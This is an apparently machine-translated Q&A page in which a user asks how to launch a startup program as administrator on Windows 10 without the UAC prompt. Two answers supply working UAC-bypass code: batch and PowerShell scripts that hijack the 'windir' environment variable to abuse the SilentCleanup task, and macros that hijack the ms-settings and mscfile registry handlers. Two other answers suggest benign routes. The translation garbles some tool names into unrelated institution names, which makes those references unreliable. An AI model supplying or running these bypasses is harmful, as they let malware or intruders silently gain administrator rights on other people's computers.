启动程序UAC绕过

启动程序UAC绕过

我目前正在使用 Windows 10 台式家用电脑,我想将程序添加到启动文件夹“C:\Users\%username"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”但我想以管理员身份运行该程序,有没有办法让它运行系统/管理员而不在每次计算机加载时提示 UAC?最好使用批处理/vbs 脚本。

答案1

我找到了一个网络脚本,对其进行了修改,使其可以作为批处理工作。

if EXIST %temp%\cmd.ps1 (del %temp%\cmd.ps1 /s /q)
echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%\cmd.ps1
(
echo cmd /c start cmd.exe
echo } else {
echo     $registryPath = "HKCU:\Environment"
echo    $Name = "windir"
echo    $Value = "powershell -ep bypass -w h $PSCommandPath;#"
echo    Set-ItemProperty -Path $registryPath -Name $name -Value $Value
echo    schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I 
echo    Remove-ItemProperty -Path $registryPath -Name $name
echo }
)>> %temp%\cmd.ps1

Powershell.exe -exec bypass -File  %temp%\cmd.ps1

/////////// 该脚本创建了一个带有 uac 和 execpol 绕过功能的 powershell 文件,抱歉,代码有点拙劣。来源:https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/

注意:如果你不是管理员,powershell 似乎出现故障,并在循环中重新打开

答案2

唯一的方法是使用任务计划程序创建任务。

从那里,您可以使其以用户身份、交互方式、具有最高权限运行,并且不会出现 UAC 提示。

这种方法的唯一问题是,只要程序正在运行,它就会消耗额外的 CPU,因为任务计划程序会同时运行并监视程序的输出,即使没有任何输出。

您可能首先要了解为什么此程序需要 UAC 访问权限,并看看是否可以避免它。例如,如果程序从用户没有文件夹写权限的位置运行,它也会以管理员身份运行。

答案3

如何使用可执行文件创建服务国家安全监测中心所谓的“不吸服务经理”?

如果你确定自己知道自己在做什么,它就非常容易使用……

答案4

除了任务计划程序您的答案,您可以使用宏风格发明者@jeb、@dbenham 和 DosTips 用户 @Ed Dyreen

宏环境绕过.bat:适用于 Windows 8.1&10(始终通知兼容的)

@echo off

:: SYNTAX
::::::::::::::::::::::::::::::::::::::::::::::
::  CALL MACRO-EnvBypass.bat                ::
::  %$MACRO.EnvBypass% FILE1 FILE2 FILE3    ::
::::::::::::::::::::::::::::::::::::::::::::::

SETLOCAL DISABLEDELAYEDEXPANSION

::Definitions
( set LF=^
%= EMPTY =%
)
set ^"NL=^^^%LF%%LF%^%LF%%LF%^^"

::Windows Version
for /f "tokens=4-5 delims=. " %%i in ('ver') do set WIN_VER=%%i.%%j
if "%WIN_VER%" NEQ "10.0" (
    echo ERR: VERSION_INCOMPATIBLE
    exit /b 1
)

::Macro

ENDLOCAL &^
set $MACRO.EnvBypass=FOR %%a in (args main) do if "%%a" == "main" (%NL%
    for %%A in (%payload%) do (%NL%
        REG ADD "HKCU\Environment" /v "windir" /d "%%A && REM " /F%NL%
        schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I%NL%
        REG DELETE "HKCU\Environment" /v "windir" /F%NL%
    )%NL%
) ELSE SETLOCAL ENABLEDELAYEDEXPANSION ^& set payload=,
exit /b

宏指令:适用于 Windows 7~0-day


:: SYNTAX
::::::::::::::::::::::::::::::::::::::::::
::  CALL macro-elev.bat                 ::
::  %$MACRO.elev% FILE1 FILE2 FILE3     ::
::::::::::::::::::::::::::::::::::::::::::

SETLOCAL DISABLEDELAYEDEXPANSION

::Definitions

( set LF=^
%= EMPTY =%
)
set ^"NL=^^^%LF%%LF%^%LF%%LF%^^"

::Windows Version

for /f "tokens=4-5 delims=. " %%i in ('ver') do set WIN_VER=%%i.%%j

if "%WIN_VER%" equ "10.0" (
    set "vuln=ms-settings"
    set "trigger=ComputerDefaults.exe"
) ELSE (
    set "vuln=mscfile" 
    set "trigger=CompMgmtLauncher.exe"
)
set regPath="HKCU\Software\Classes\%vuln%\shell\open\command"

::Macro

ENDLOCAL &^
set $MACRO.elev=FOR %%a in (args main) do if "%%a" == "main" (%NL%
    for %%j in (!payload!) do (%NL%
        reg add %regpath% /d "%%j" /f%NL%
        reg add %regpath% /v DelegateExecute /f%NL%
        %trigger%%NL%
        reg delete "HKCU\Software\Classes\%vuln%" /f%NL%
    )%NL%
) ELSE SETLOCAL ENABLEDELAYEDEXPANSION ^& set payload=,

有关漏洞利用的工作原理,请参阅我的完整答案这里。请务必查看联合医学与医学工程学院存储库。

相关内容